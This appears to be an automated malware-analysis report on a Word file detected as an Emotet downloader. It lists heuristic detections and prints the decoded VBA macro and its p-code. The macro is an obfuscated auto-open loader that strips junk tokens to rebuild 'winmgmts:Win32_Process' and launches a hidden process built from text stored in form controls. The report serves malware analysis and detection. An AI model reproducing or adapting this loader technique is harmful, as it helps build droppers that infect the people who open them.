MALICIOUS
250
Risk Score
Heuristics 8
-
ClamAV: Doc.Downloader.Emotet-7179537-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-7179537-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Ioczucfr = CreateObject(T43okwjm("abcswabcsiabcsnmgabcsmts:abcsWiabcsn3abcs2_abcsProabcsceabcsssabcs")).Create(P47aubvn, Xikzu4al, Tmonjti, Quqj2l) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Ioczucfr = CreateObject(T43okwjm("abcswabcsiabcsnmgabcsmts:abcsWiabcsn3abcs2_abcsProabcsceabcsssabcs")).Create(P47aubvn, Xikzu4al, Tmonjti, Quqj2l) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10735 bytes |
SHA-256: 22cb1a03494f62267551f8efc770ff7834b3fe0758c8dd1680e98986c8918808 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Kc4z90"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "A7njquv, 0, 0, MSForms, TextBox"
Attribute VB_Control = "Vripzzw, 1, 1, MSForms, TextBox"
Attribute VB_Control = "Azi0ta, 2, 2, MSForms, TextBox"
Attribute VB_Control = "Wzh9jn, 3, 3, MSForms, TextBox"
Attribute VB_Control = "Xq7niw0, 4, 4, MSForms, TextBox"
Attribute VB_Control = "T5w5v0, 5, 5, MSForms, TextBox"
Attribute VB_Control = "M01o01, 6, 6, MSForms, TextBox"
Attribute VB_Control = "Ttmhlz, 7, 7, MSForms, TextBox"
Attribute VB_Control = "Bjwiuz0, 8, 8, MSForms, TextBox"
Attribute VB_Control = "R0q6ft, 9, 9, MSForms, TextBox"
Attribute VB_Control = "E07wdv, 10, 10, MSForms, TextBox"
Attribute VB_Control = "Rsrpbio, 11, 11, MSForms, TextBox"
Attribute VB_Control = "Xwn18da7, 12, 12, MSForms, TextBox"
Attribute VB_Control = "Rruik5, 13, 13, MSForms, TextBox"
Attribute VB_Control = "Arvmkui, 14, 14, MSForms, TextBox"
Attribute VB_Control = "Aszd574, 15, 15, MSForms, TextBox"
Attribute VB_Control = "W4adc7, 16, 16, MSForms, TextBox"
Attribute VB_Control = "C36mpi, 17, 17, MSForms, TextBox"
Attribute VB_Name = "Tj6iom"
Private Const Wurhwj As String = "Tdqhhfc"
Private Const Eh98fnj9 As String = "Zmjn5v5f"
Private Const Z8kwww86 As String = "G5pcr5dn"
Private Const E9ikb5 As String = "Slcz9ji"
Private X9hfdc As String
Private Hw8wzhjr As Boolean
Private Tozkuzi As Integer
Private How0w292 As String
Private Euvcah9t As Boolean
Private Qv90qv As Integer
Function Yarcrs5()
Dim QTWtZErDjdf58, yJmstOGACXJ25 As Integer
yJmstOGACXJ25 = 5997
For QTWtZErDjdf58 = 0 To 64
yJmstOGACXJ25 = yJmstOGACXJ25 + QTWtZErDjdf58
DoEvents
Next QTWtZErDjdf58
P47aubvn = T43okwjm(Kc4z90.Xwn18da7 + Kc4z90.M01o01)
Dim TUTNZOqqibr88, wCcSKltiMUl25 As Integer
wCcSKltiMUl25 = 8633
For TUTNZOqqibr88 = 0 To 41
wCcSKltiMUl25 = wCcSKltiMUl25 + TUTNZOqqibr88
DoEvents
Next TUTNZOqqibr88
Ioczucfr = CreateObject(T43okwjm("abcswabcsiabcsnmgabcsmts:abcsWiabcsn3abcs2_abcsProabcsceabcsssabcs")).Create(P47aubvn, Xikzu4al, Tmonjti, Quqj2l)
Dim FzYQrbbOQoH73, aupEPSOdlLq97 As Integer
aupEPSOdlLq97 = 6219
For FzYQrbbOQoH73 = 0 To 31
aupEPSOdlLq97 = aupEPSOdlLq97 + FzYQrbbOQoH73
DoEvents
Next FzYQrbbOQoH73
End Function
Function T43okwjm(Zfmz95q)
Dim ePXsrqBnovG11, krXkSxRRPYC67 As Integer
krXkSxRRPYC67 = 6824
For ePXsrqBnovG11 = 0 To 41
krXkSxRRPYC67 = krXkSxRRPYC67 + ePXsrqBnovG11
DoEvents
Next ePXsrqBnovG11
T43okwjm = Replace(Zfmz95q, Replace("ghuaswaghuaswbghuaswghuaswcghuaswsghuasw", "ghuasw", ""), "")
End Function
Attribute VB_Name = "Wcp3l5q"
Private Const Ejmi32 As String = "Hmszs2"
Private Const Okwwnum As String = "Wn8osf"
Private Const Za5b57tf As String = "Afvub1i1"
Private Const Ui7ulnvd As String = "Q7l1vr"
Private Gi5hitn As String
Private Zc86svf As Boolean
Private Kaqjbf As Integer
Private Nttvwjfa As String
Private Eh1c7zp As Boolean
Private Ahfa71hn As Integer
Sub autoopen()
Dim uOklhWQhYWy59, ZSAFuBaJITW86 As Integer
ZSAFuBaJITW86 = 3834
For uOklhWQhYWy59 = 0 To 72
ZSAFuBaJITW86 = ZSAFuBaJITW86 + uOklhWQhYWy59
DoEvents
Next uOklhWQhYWy59
Yarcrs5
End Sub
Function Tmonjti()
Dim nHawMATDJVP31, jVEmvqexVip47 As Integer
jVEmvqexVip47 = 3174
For nHawMATDJVP31 = 0 To 34
jVEmvqexVip47 = jVEmvqexVip47 + nHawMATDJVP31
DoEvents
Next nHawMATDJVP31
Ioczucfr$ = N3p7z1 + Uftrv0
Dim VcCvtrqAOfe57, smqENjBHQBO42 As Integer
smqENjBHQBO42 = 2331
For VcCvtrqAOfe57 = 0 To 47
smqENjBHQBO42 = smqENjBHQBO42 + VcCvtrqAOfe57
DoEvents
Next VcCvtrqAOfe57
Set Tmonjti = CreateObject(T43okwjm(Kc4z90.Wzh9jn))
Tmonjti.ShowWindow! = Ioczucfr
Dim BUmwdeMrtjM46, hLtFpdeLzbf64 As Integer
hLtFpdeLzbf64 = 8658
For BUmwdeMrtjM46 = 0 To 17
hLtFpdeLzbf64 = hLtFpdeLzbf64 + BUmwdeMrtjM46
DoEvents
Next BUmwdeMrtjM46
End Function
' Processing file: /opt/analyzer/scan_staging/fa938fc47a1c49bcaab9056ba322410e.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Kc4z90 - 3271 bytes
' Macros/VBA/Tj6iom - 3341 bytes
' Line #0:
' Dim (Private Const)
' LitStr 0x0007 "Tdqhhfc"
' VarDefn Wurhwj (As String)
' Line #1:
' Dim (Private Const)
' LitStr 0x0008 "Zmjn5v5f"
' VarDefn Eh98fnj9 (As String)
' Line #2:
' Dim (Private Const)
' LitStr 0x0008 "G5pcr5dn"
' VarDefn Z8kwww86 (As String)
' Line #3:
' Dim (Private Const)
' LitStr 0x0007 "Slcz9ji"
' VarDefn E9ikb5 (As String)
' Line #4:
' Dim (Private)
' VarDefn X9hfdc (As String) 0x0014
' Line #5:
' Dim (Private)
' VarDefn Hw8wzhjr (As Boolean) 0x0016
' Line #6:
' Dim (Private)
' VarDefn Hw8wzhjr (As Integer) 0x0015
' Line #7:
' Dim (Private)
' VarDefn Tozkuzi (As String) 0x0016
' Line #8:
' Dim (Private)
' VarDefn How0w292 (As Boolean) 0x0016
' Line #9:
' Dim (Private)
' VarDefn Euvcah9t (As Integer) 0x0014
' Line #10:
' FuncDefn (Function Qv90qv())
' Line #11:
' Dim
' VarDefn Yarcrs5
' VarDefn QTWtZErDjdf58 (As Integer)
' Line #12:
' LitDI2 0x176D
' St QTWtZErDjdf58
' Line #13:
' StartForVariable
' Ld Yarcrs5
' EndForVariable
' LitDI2 0x0000
' LitDI2 0x0040
' For
' Line #14:
' Ld QTWtZErDjdf58
' Ld Yarcrs5
' Add
' St QTWtZErDjdf58
' Line #15:
' ArgsCall DoEvents 0x0000
' Line #16:
' StartForVariable
' Ld Yarcrs5
' EndForVariable
' NextVar
' Line #17:
' Ld Kc4z90
' MemLd Xwn18da7
' Ld Kc4z90
' MemLd M01o01
' Add
' ArgsLd P47aubvn 0x0001
' St yJmstOGACXJ25
' Line #18:
' Dim
' VarDefn T43okwjm
' VarDefn TUTNZOqqibr88 (As Integer)
' Line #19:
' LitDI2 0x21B9
' St TUTNZOqqibr88
' Line #20:
' StartForVariable
' Ld T43okwjm
' EndForVariable
' LitDI2 0x0000
' LitDI2 0x0029
' For
' Line #21:
' Ld TUTNZOqqibr88
' Ld T43okwjm
' Add
' St TUTNZOqqibr88
' Line #22:
' ArgsCall DoEvents 0x0000
' Line #23:
' StartForVariable
' Ld T43okwjm
' EndForVariable
' NextVar
' Line #24:
' Ld yJmstOGACXJ25
' Ld Create
' Ld Xikzu4al
' Ld Tmonjti
' LitStr 0x0042 "abcswabcsiabcsnmgabcsmts:abcsWiabcsn3abcs2_abcsProabcsceabcsssabcs"
' ArgsLd P47aubvn 0x0001
' ArgsLd Ioczucfr 0x0001
' ArgsMemLd CreateObject 0x0004
' St wCcSKltiMUl25
' Line #25:
' Dim
' VarDefn Quqj2l
' VarDefn FzYQrbbOQoH73 (As Integer)
' Line #26:
' LitDI2 0x184B
' St FzYQrbbOQoH73
' Line #27:
' StartForVariable
' Ld Quqj2l
' EndForVariable
' LitDI2 0x0000
' LitDI2 0x001F
' For
' Line #28:
' Ld FzYQrbbOQoH73
' Ld Quqj2l
' Add
' St FzYQrbbOQoH73
' Line #29:
' ArgsCall DoEvents 0x0000
' Line #30:
' StartForVariable
' Ld Quqj2l
' EndForVariable
' NextVar
' Line #31:
' EndFunc
' Line #32:
' FuncDefn (Function P47aubvn(aupEPSOdlLq97))
' Line #33:
' Dim
' VarDefn Zfmz95q
' VarDefn ePXsrqBnovG11 (As Integer)
' Line #34:
' LitDI2 0x1AA8
' St ePXsrqBnovG11
' Line #35:
' StartForVariable
' Ld Zfmz95q
' EndForVariable
' LitDI2 0x0000
' LitDI2 0x0029
' For
' Line #36:
' Ld ePXsrqBnovG11
' Ld Zfmz95q
' Add
' St ePXsrqBnovG11
' Line #37:
' ArgsCall DoEvents 0x0000
' Line #38:
' StartForVariable
' Ld Zfmz95q
' EndForVariable
' NextVar
' Line #39:
' Ld aupEPSOdlLq97
' LitStr 0x0028 "ghuaswaghuaswbghuaswghuaswcghuaswsghuasw"
' LitStr 0x0006 "ghuasw"
' LitStr 0x0000 ""
' ArgsLd krXkSxRRPYC67 0x0003
' LitStr 0x0000 ""
' ArgsLd krXkSxRRPYC67 0x0003
' St P47aubvn
' Line #40:
' EndFunc
' Line #41:
' Macros/VBA/Wcp3l5q - 3056 bytes
' Line #0:
' Dim (Private Const)
' LitStr 0x0006 "Hmszs2"
' VarDefn Wcp3l5q (As String)
' Line #1:
' Dim (Private Const)
' LitStr 0x0006 "Wn8osf"
' VarDefn Ejmi32 (As String)
' Line #2:
' Dim (Private Const)
' LitStr 0x0008 "Afvub1i1"
' VarDefn Okwwnum (As String)
' Line #3:
' Dim (Private Const)
' LitStr 0x0006 "Q7l1vr"
' VarDefn Za5b57tf (As String)
' Line #4:
' Dim (Private)
' VarDefn Ui7ulnvd (As String) 0x0015
' Line #5:
' Dim (Private)
' VarDefn Gi5hitn (As Boolean) 0x0015
' Line #6:
' Dim (Private)
' VarDefn Zc86svf (As Integer) 0x0014
' Line #7:
' Dim (Private)
' VarDefn Kaqjbf (As String) 0x0016
' Line #8:
' Dim (Private)
' VarDefn Nttvwjfa (As Boolean) 0x0015
' Line #9:
' Dim (Private)
' VarDefn Eh1c7zp (As Integer) 0x0016
' Line #10:
' FuncDefn (Sub Ahfa71hn())
' Line #11:
' Dim
' VarDefn autoopen
' VarDefn uOklhWQhYWy59 (As Integer)
' Line #12:
' LitDI2 0x0EFA
' St uOklhWQhYWy59
' Line #13:
' StartForVariable
' Ld autoopen
' EndForVariable
' LitDI2 0x0000
' LitDI2 0x0048
' For
' Line #14:
' Ld uOklhWQhYWy59
' Ld autoopen
' Add
' St uOklhWQhYWy59
' Line #15:
' ArgsCall DoEvents 0x0000
' Line #16:
' StartForVariable
' Ld autoopen
' EndForVariable
' NextVar
' Line #17:
' ArgsCall Qv90qv 0x0000
' Line #18:
' EndSub
' Line #19:
' FuncDefn (Function Xikzu4al())
' Line #20:
' Dim
' VarDefn ZSAFuBaJITW86
' VarDefn nHawMATDJVP31 (As Integer)
' Line #21:
' LitDI2 0x0C66
' St nHawMATDJVP31
' Line #22:
' StartForVariable
' Ld ZSAFuBaJITW86
' EndForVariable
' LitDI2 0x0000
' LitDI2 0x0022
' For
' Line #23:
' Ld nHawMATDJVP31
' Ld ZSAFuBaJITW86
' Add
' St nHawMATDJVP31
' Line #24:
' ArgsCall DoEvents 0x0000
' Line #25:
' StartForVariable
' Ld ZSAFuBaJITW86
' EndForVariable
' NextVar
' Line #26:
' Ld jVEmvqexVip47
' Ld N3p7z1
' Add
' St wCcSKltiMUl25$
' Line #27:
' Dim
' VarDefn Uftrv0
' VarDefn VcCvtrqAOfe57 (As Integer)
' Line #28:
' LitDI2 0x091B
' St VcCvtrqAOfe57
' Line #29:
' StartForVariable
' Ld Uftrv0
' EndForVariable
' LitDI2 0x0000
' LitDI2 0x002F
' For
' Line #30:
' Ld VcCvtrqAOfe57
' Ld Uftrv0
' Add
' St VcCvtrqAOfe57
' Line #31:
' ArgsCall DoEvents 0x0000
' Line #32:
' StartForVariable
' Ld Uftrv0
' EndForVariable
' NextVar
' Line #33:
' SetStmt
' Ld Kc4z90
' MemLd Wzh9jn
' ArgsLd P47aubvn 0x0001
' ArgsLd Ioczucfr 0x0001
' Set Xikzu4al
' Line #34:
' Ld wCcSKltiMUl25
' Ld Xikzu4al
' MemSt smqENjBHQBO42!
' Line #35:
' Dim
' VarDefn ShowWindow
' VarDefn BUmwdeMrtjM46 (As Integer)
' Line #36:
' LitDI2 0x21D2
' St BUmwdeMrtjM46
' Line #37:
' StartForVariable
' Ld ShowWindow
' EndForVariable
' LitDI2 0x0000
' LitDI2 0x0011
' For
' Line #38:
' Ld BUmwdeMrtjM46
' Ld ShowWindow
' Add
' St BUmwdeMrtjM46
' Line #39:
' ArgsCall DoEvents 0x0000
' Line #40:
' StartForVariable
' Ld ShowWindow
' EndForVariable
' NextVar
' Line #41:
' EndFunc
' Line #42:
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.